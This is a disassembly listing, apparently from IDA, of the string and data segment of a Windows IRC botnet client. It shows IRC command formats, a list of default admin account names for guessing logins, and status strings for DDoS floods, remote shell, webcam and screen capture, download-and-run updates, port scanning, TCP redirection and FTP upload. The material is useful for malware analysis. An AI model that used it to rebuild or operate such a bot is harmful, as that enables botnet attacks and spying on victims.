aStudent db 'student',0 ; DATA XREF: seg002:0043C248o
; seg002:0043C490o
aOwner db 'owner',0 ; DATA XREF: seg002:0043C244o
align 4
aComputer db 'computer',0 ; DATA XREF: seg002:0043C240o
align 4
aRoot db 'root',0 ; DATA XREF: seg002:0043C23Co
; seg002:0043C310o
align 4
aStaff db 'staff',0 ; DATA XREF: seg002:0043C238o
; seg002:0043C498o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: seg002:0043C234o
; seg002:0043C288o
align 4
aAdmins db 'admins',0 ; DATA XREF: seg002:0043C230o
; seg002:0043C284o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: seg002:0043C22Co
; seg002:0043C280o
aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0043C228o
; seg002:0043C27Co
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: seg002:0043C224o
; seg002:0043C278o
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:off_43C220o
; seg002:0043C274o
byte_42C60E db 0 ; DATA XREF: sub_40274D+3222o
; sub_40274D+32F9o ...
byte_42C60F db 0 ; DATA XREF: sub_40274D+35FBo
; sub_40274D+3634o ...
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043C174o
align 10h
aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043C170o
align 10h
aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043C16Co
align 10h
aMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_43C168o
align 10h
a@_0 db '*@*',0 ; DATA XREF: seg002:off_43C164o
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402472+61o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402472+37o
align 4
unk_42C6BC db 2Dh ; - ; DATA XREF: sub_4025EF+B5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AE8o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AD3o
align 4
unk_42C6FC db 2Dh ; - ; DATA XREF: sub_40274D+7ABFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_42C71C db 2Dh ; - ; DATA XREF: sub_40274D+7AA5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_42C73C db 2Dh ; - ; DATA XREF: sub_40274D+7A50o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40274D+7A2Do
align 10h
unk_42C790 db 2Dh ; - ; DATA XREF: sub_40274D+79E9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_40274D+79DAo
; sub_40274D+7A41o
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40274D+79C6o
align 10h
asc_42C810: ; DATA XREF: sub_40274D+799Co
unicode 0, <~>,0
dword_42C814 dd 0 ; DATA XREF: sub_40274D+7990o
; sub_40E841+14o
unk_42C818 db 2Dh ; - ; DATA XREF: sub_40274D+7957o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
unk_42C83C db 2Dh ; - ; DATA XREF: sub_40274D+78E6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_42C864 db 2Dh ; - ; DATA XREF: sub_40274D+78ACo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_42C888 db 2Dh ; - ; DATA XREF: sub_40274D+7884o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_42C8AC db 2Dh ; - ; DATA XREF: sub_40274D+785Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 10h
unk_42C8D0 db 2Dh ; - ; DATA XREF: sub_40274D+7841o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_42C8F4 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_40274D+7827o
dd 2E732520h, 0
unk_42C910 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409F01o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_42C93C db 2Dh ; - ; DATA XREF: sub_40274D+77ADo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 10h
unk_42C960 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409EC6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_42C988 db 2Dh ; - ; DATA XREF: sub_40274D+776Fo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: sub_40274D+7755o
unk_42C9B4 db 2Dh ; - ; DATA XREF: sub_40274D+7625o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_42C9DC db 2Dh ; - ; DATA XREF: sub_40274D:loc_409D59o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_42CA00 db 2Dh ; - ; DATA XREF: sub_40274D+7602o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_42CA20 db 2Dh ; - ; DATA XREF: sub_40274D+75D5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42CA48 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409D02o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 10h
unk_42CA70 db 2Dh ; - ; DATA XREF: sub_40274D+758Ao
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 10h
unk_42CA90 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409C9Ao
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
unk_42CAC0 db 2Dh ; - ; DATA XREF: sub_40274D+7543o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_42CAE0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409C3Fo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_42CB10 db 2Dh ; - ; DATA XREF: sub_40274D+74EBo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_42CB34 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_40274D+74A0o
dd 27732527h, 2Eh
unk_42CB50 db 2Dh ; - ; DATA XREF: sub_40274D+7423o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_42CB74 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_40274D+73AFo
dd 0
unk_42CB8C db 2Dh ; - ; DATA XREF: sub_40274D+736Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_42CBCC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_40274D+7316o
dd 2Eh
dword_42CBE4 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_40274D:loc_4099C3o
dd 746E6573h, 2Eh
unk_42CC00 db 2Dh ; - ; DATA XREF: sub_40274D+726Fo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 10h
dword_42CC20 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_40274D+7230o
dd 732520h
unk_42CC38 db 2Dh ; - ; DATA XREF: sub_40274D+7228o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_42CC64: ; DATA XREF: sub_40274D+720Ao
; sub_412135+29o ...
dw 0Ah
unicode 0, <>,0
unk_42CC68 db 2Dh ; - ; DATA XREF: sub_40274D+71E0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
unk_42CC8C db 2Dh ; - ; DATA XREF: sub_40274D+71CAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 10h
unk_42CCB0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_40989Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 10h
unk_42CCF0 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409895o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42CD30 db 2Dh ; - ; DATA XREF: sub_40274D+7135o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
aVideo db 'video',0 ; DATA XREF: sub_40274D:loc_4097FEo
align 4
unk_42CD64 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4097EBo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42CD9C db 2Dh ; - ; DATA XREF: sub_40274D:loc_4097E4o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 10h
unk_42CDD0 db 2Dh ; - ; DATA XREF: sub_40274D+7087o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_40274D:loc_409770o
align 4
unk_42CE04 db 2Dh ; - ; DATA XREF: sub_40274D+7016o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
unk_42CE2C db 2Dh ; - ; DATA XREF: sub_40274D+6FE6o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_40274D:loc_4096E6o
unk_42CE5C db 2Dh ; - ; DATA XREF: sub_40274D:loc_4096D3o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_42CE98 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4096CCo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_42CEC8 db 2Dh ; - ; DATA XREF: sub_40274D+6F6Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_40274D:loc_40968Eo
align 4
dword_42CEFC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_40274D+6F29o
dd 2E732520h, 0
unk_42CF18 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409636o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_42CF48 db 2Dh ; - ; DATA XREF: sub_40274D+6ED3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 10h
unk_42CF70 db 2Dh ; - ; DATA XREF: sub_40274D+6E3Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 10h
unk_42CF90 db 2Dh ; - ; DATA XREF: sub_40274D+6DFFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 10h
unk_42CFB0 db 2Dh ; - ; DATA XREF: sub_40274D+6DA5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42CFCC dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_40274D+6D36o
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6CFFo
; sub_40274D+7831o
align 4
unk_42CFEC db 2Dh ; - ; DATA XREF: sub_40274D+6CDDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6CCFo
align 4
dword_42D014 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_40274D+6CA4o
dd 25203A29h, 73h
dword_42D030 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_40274D+6C38o
dd 203A2973h, 7325h
aModeS db 'MODE %s',0 ; DATA XREF: sub_40274D+6BE0o
dword_42D054 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_40274D+6BB5o
dd 203A2973h, 7325h
aS_0 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+6B96o
; sub_40274D+6C19o ...
align 4
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_40274D+6B3Fo
align 4
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_40274D+6AFDo
dword_42D08C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_40274D+6AB3o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42D0C8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_40274D+6A54o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42D0F4 db 2Dh ; - ; DATA XREF: sub_40274D+69E5o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42D130 db 2Dh ; - ; DATA XREF: sub_40274D+6986o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42D164 db 2Dh ; - ; DATA XREF: sub_40274D:loc_409079o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_42D198 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_40274D+68F1o
dd 7325h
dword_42D1B0 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_40274D:loc_408FB6o
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40274D+6825o
; sub_40274D+68CBo ...
align 8
dword_42D1D8 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D:loc_408F2Fo
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_42D220 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D+67C3o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42D25C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_40274D+676Ao
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40274D+66CBo
align 4
dword_42D294 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_40274D+666Co
dd 7325203Ah, 0
unk_42D2B0 db 2Dh ; - ; DATA XREF: sub_40274D+6661o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42D2D4 db 2Dh ; - ; DATA XREF: sub_40274D+65AFo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStartS db 'Failed to start search thread, error: <%d>.',0
unk_42D310 db 2Dh ; - ; DATA XREF: sub_40274D+654Bo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42D340 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_40274D:loc_408BFDo
; sub_40274D:loc_409BF4o
unk_42D34C db 2Dh ; - ; DATA XREF: sub_40274D+6498o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42D370 db 2Dh ; - ; DATA XREF: sub_40274D:loc_408BC3o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42D3A8 db 2Dh ; - ; DATA XREF: sub_40274D+6457o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42D3E0 db 2Dh ; - ; DATA XREF: sub_40274D+63EDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42D40C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_40274D+636Ao
aFailedToStar_2 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42D448 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_40274D+6307o
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42D478 db 2Dh ; - ; DATA XREF: sub_40274D+625Fo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42D4B0 db 2Dh ; - ; DATA XREF: sub_40274D+61FDo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42D4E0 db 2Dh ; - ; DATA XREF: sub_40274D+616Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42D518 db 2Dh ; - ; DATA XREF: sub_40274D+6108o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42D548 db 2Dh ; - ; DATA XREF: sub_40274D+6086o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42D580 db 2Dh ; - ; DATA XREF: sub_40274D+6024o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42D5BC db 2Dh ; - ; DATA XREF: sub_40274D+5FA2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42D5FC db 2Dh ; - ; DATA XREF: sub_40274D+5F49o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42D628 db 2Dh ; - ; DATA XREF: sub_40274D+5E6Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42D66C db 2Dh ; - ; DATA XREF: sub_40274D+5E12o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42D6A8 db 2Dh ; - ; DATA XREF: sub_40274D+5D1Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_40274D+5C76o
align 4
aSSS_0 db '[%s] * %s %s',0 ; DATA XREF: sub_40274D+5B99o
align 4
dword_42D704 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40274D+5B05o
; sub_40274D+6D82o
unk_42D710 db 2Dh ; - ; DATA XREF: sub_40274D+5A8Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42D750 db 2Dh ; - ; DATA XREF: sub_40274D+5A36o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42D7A0 db 2Dh ; - ; DATA XREF: sub_40274D+598Do
; sub_40274D+5D75o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42D7D8 db 2Dh ; - ; DATA XREF: sub_40274D+5934o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 10h
unk_42D840 db 2Dh ; - ; DATA XREF: sub_40274D+57C0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan, no IP specified.',0
align 4
unk_42D874 db 2Dh ; - ; DATA XREF: sub_40274D+5763o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, port is invalid.',0
align 4
unk_42D8A8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_407D92o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40274D+563Eo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40274D+5625o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_40274D+560Eo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40274D+55EEo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_40274D+55CAo
; seg000:00414B6Ao
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40274D+55B9o
align 4
unk_42D948 db 2Dh ; - ; DATA XREF: sub_40274D+5560o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_40274D+553Do
align 10h
unk_42D970 db 2Dh ; - ; DATA XREF: sub_40274D+550Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 10h
unk_42D9B0 db 2Dh ; - ; DATA XREF: sub_40274D+54C2o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42D9E8 db 2Dh ; - ; DATA XREF: sub_40274D+5463o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
unk_42DA30 db 2Dh ; - ; DATA XREF: sub_40274D+53ADo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42DA64 db 2Dh ; - ; DATA XREF: sub_40274D+537Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42DA98 db 2Dh ; - ; DATA XREF: sub_40274D+536Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 10h
unk_42DAD0 db 2Dh ; - ; DATA XREF: sub_40274D+52BFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
